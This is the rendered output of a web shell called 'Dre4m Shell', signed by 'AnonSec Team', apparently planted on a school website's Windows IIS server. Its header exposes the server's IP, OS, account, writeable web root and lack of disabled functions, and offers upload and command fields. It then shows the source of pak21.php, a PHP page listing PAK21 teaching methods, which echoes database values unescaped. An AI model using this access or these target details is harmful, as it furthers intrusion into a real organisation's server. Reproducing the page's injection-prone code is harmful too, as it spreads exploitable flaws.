Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.217.161.27
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/pak21.php
<?php require_once('Connections/mentorpbs.php'); ?>

<?php

    # suspicious code no useful
    if (!function_exists("GetSQLValueString")) {
    function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
    {
      $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

      $theValue = function_exists("mysqli_real_escape_string") ? mysqli_real_escape_string($theValue) : mysqli_escape_string($theValue);

      switch ($theType) {
        case "text":
            $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
            break;    
        case "long":
        case "int":
            $theValue = ($theValue != "") ? intval($theValue) : "NULL";
            break;
        case "double":
            $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
            break;
        case "date":
            $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
            break;
        case "defined":
            $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
            break;
      }
      return $theValue;
    }
    }
    # suspicious code no useful

    mysqli_select_db($mentorpbs,$database_mentorpbs);
    $query_Recordset_pak = "SELECT * FROM pak21";
    $Recordset_pak = mysqli_query($mentorpbs,$query_Recordset_pak) or die(mysqli_error());
    $row_Recordset_pak = mysqli_fetch_assoc($Recordset_pak);
    $totalRows_Recordset_pak = mysqli_num_rows($Recordset_pak);
?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>Pembelajaran Abad Ke 21</title>
        <style type="text/css">
            <!--
            .style1 {
	                    font-size: 24px;
	                    color: #0000FF;
                    }

            .style3 {color: #0000FF}

            .header {
                padding: 0px 0px;
            }

            .content {
                padding: 16px;
            }

            .sticky {
                position: fixed;
                top: 0;
                width: 100%;
            }

            .sticky + .content {
                padding-top: 102px;
            }

			div{
				width:100%;
				height:auto;
			}
            -->

        </style>
    </head>

    <body>

        <!-- ***** bind header to freeze id -->
        <div class="header" id="myHeader">
            <?php include('smheader02.php') ?>
        </div>    
 
        <!-- ***** Kandungan akan skrol -->
        <div class="content">

        <div align="center" class="style1">PAK21</div>
        <p align="center"><img src="images/pak21/4k1n_final.gif" width="338" height="313" /></p>
        <p align="center">&nbsp;</p>
        <p align="center">Maklumat di bawah dikongsikan dengan ihsan dari<br />
        <a href="http://www.cikgusuhaimin.com/" target="_blank">Cikgu Suhaimin</a> </p>
        <p align="center"><a href="index.php">KEMBALI</a></p>

        <table border="1" align="center">
            <tr>
                <td width="146">
                    <div align="center" class="style3">BIL</div>
                </td>

                <td width="175">
                    <span class="style3">KAEDAH PAK21</span>
                </td>

                <td width="133">
                    <div align="center"><span class="style3">GAMBAR</span></div>
                </td>
            </tr>

            <?php do { ?>

                          <tr>
                              <td>
                                  <div align="center"><?php echo $row_Recordset_pak['idpak']; ?></div>
                              </td>

                              <td><a href="detail_pak.php?recordID=<?php echo $row_Recordset_pak['namapak']; ?>"> <?php echo $row_Recordset_pak['namapak']; ?>&nbsp; </a> 
                              </td>
                    
                              <td><div align="center"><img src="images/pak21/<?php echo $row_Recordset_pak['namapak']; ?>.jpg" width="67" height="81" /></div>
                              </td>
                          </tr>

                          <?php } while ($row_Recordset_pak = mysqli_fetch_assoc($Recordset_pak)); ?>
        
        </table>
        <div align="center"><br />
        <?php echo $totalRows_Recordset_pak ?> Records Total </div>
        <p align="center"><a href="index.php">KEMBALI</a></p>

        </div>
        <!-- Skrol kandungan -->

    </body>

    <!-- Script to execute freeze -->
    <script>
        window.onscroll = function() {myFunction()};

            var header = document.getElementById("myHeader");
            var sticky = header.offsetTop;

            function myFunction() {
                if (window.pageYOffset > sticky) {
                                                    header.classList.add("sticky");
                                                } else {
                                                        header.classList.remove("sticky");
                                                        }
                                    }
    </script>

</html>

    <?php
        mysqli_free_result($Recordset_pak);
    ?>

Anon7 - 2022
AnonSec Team